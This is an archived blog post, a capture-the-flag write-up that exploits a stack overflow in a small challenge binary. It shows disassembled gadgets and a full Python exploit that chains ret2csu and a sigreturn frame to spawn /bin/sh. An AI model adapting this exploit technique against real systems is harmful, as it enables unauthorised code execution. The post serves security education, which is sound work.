💾 Archived View for 0x80.org › gemlog › 2016-03-18-unexploitable-hackerdom.gmi captured on 2022-04-28 at 17:40:33. Gemini links have been rewritten to link to archived content

View Raw

More Information

⬅️ Previous capture (2021-12-03)

-=-=-=-=-=-=-

unexploitable hackerdom

A friend of mine sent me a challenge called unexploitable download from here[1] (elf64) here it has the following source code :

1: http://0x80.org/challenges/unexploitable

#include <stdio.h>
void main() {
	// no brute forcing
	sleep(3);
	// exploit me
	int buf[4];
	read(0, buf, 1295);
}

compiled with

CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

also full aslr is enabled. The binary is small therefore not many gadgets exist to do awesome things. Let us use what we have, an important gadget exists in __libc_csu_init, this can allow us to control the first three params (rdi,rsi,rdx).

│       └─> 0x004005e6      mov rbx, qword [rsp + 8]
│           0x004005eb      mov rbp, qword [rsp + 0x10]
│           0x004005f0      mov r12, qword [rsp + 0x18]
│           0x004005f5      mov r13, qword [rsp + 0x20]
│           0x004005fa      mov r14, qword [rsp + 0x28]
│           0x004005ff      mov r15, qword [rsp + 0x30]
│           0x00400604      add rsp, 0x38
╘           0x00400608      ret

and above it is the call portion

│      ┌──> 0x004005d0      mov rdx, r15
│      ││   0x004005d3      mov rsi, r14
│      ││   0x004005d6      mov edi, r13d
│      ││   0x004005d9      call qword [r12 + rbx*8]

equivalent to (r12+rbx*8)(r13d,r14,r15), if we point r12 to 0x601000 we can call read with three params, this allows us to control rax, and to write anywhere writeable. Something like :

def csu_read(fd, buf_ptr, count):
    r  = p64(0x4005E6) # libc_csu_init
    r += p64(0x00)
    r += p64(0x00)     # rbx
    r += p64(0x01)     # rbp
    r += p64(read_plt) # r12 -> read@plt
    r += p64(fd)       # r13 -> stdin
    r += p64(buf_ptr)  # r14 -> read in data
    r += p64(count)    # r15 -> rdx size for read
    r += p64(do_call)
    r += p64(PADD)*7   # padding
    return r

another important gadget is

0x00400560: syscall  ;  (1 found)

So now we have all the parts needed to exploit this successfully, our approach is as follows :

in our new rop we do the following

we also set the /bin/sh string and a pointer to it and to the envp somewhere inside the known rop location that we're using.

full exploit :

#!/usr/bin/env python2

import sys
from pwn import *

context.update(arch="amd64", os="linux")

SYS_sigreturn = 0x0f
syscall  = 0x400560
read_plt = 0x601008-8
do_call  = 0x4005d0    # csu_call 3 params
PADD     = 0xdeadc0dedeadc0de
new_rop  = 0x601000+16 # new rop region

'''
Does read via libc_csu_init
'''
def csu_read(fd, buf_ptr, count):
    r  = p64(0x4005E6) # libc_csu_init
    r += p64(0x00)
    r += p64(0x00)     # rbx
    r += p64(0x01)     # rbp
    r += p64(read_plt) # r12 -> read@plt
    r += p64(fd)       # r13 -> stdin
    r += p64(buf_ptr)  # r14 -> read in data
    r += p64(count)    # r15 -> rdx size for read
    r += p64(do_call)
    r += p64(PADD)*7   # padding
    return r

def main():

    frame = SigreturnFrame(kernel='amd64')
    frame.rax = constants.SYS_execve # SYS.execve
    frame.rdi = 0x601190      # const char *path
    frame.rsi = 0x601190+16   # char *const argv[]
    frame.rdx = 0x601190+8    # char *const envp[]
    frame.rsp = 0x601190+16+8 # next stack (not necessary)
    frame.rip = syscall

    rop  = csu_read(0, new_rop+500, SYS_sigreturn) # SYS_sigreturn
    rop += p64(syscall)
    rop += str(frame)
    rop += p64(0x68732f6e69622f)   # 0x601190
    rop += p64(0)                  # 0x601190+8
    rop += p64(0x601190)           # 0x601190+16

    # ropstager starts
    # we use stdin to upload stager to specific region
    p  = p64(PADD)*3
    p += csu_read(0, new_rop, len(rop))
    p += p64(0x400512)    # pop rbp; ret
    p += p64(new_rop-8)   # the new rop
    p += p64(0x400576)    # leave; ret
    p += "\xcc"*(1295-len(p)) # fill the read

    sys.stdout.write(p)   # main payload
    sys.stdout.write(rop) # first read move rop to 0x60xx..
    sys.stdout.write("\x00"*(SYS_sigreturn+1)) # third read set rax for syscall

if __name__ == "__main__":
    main()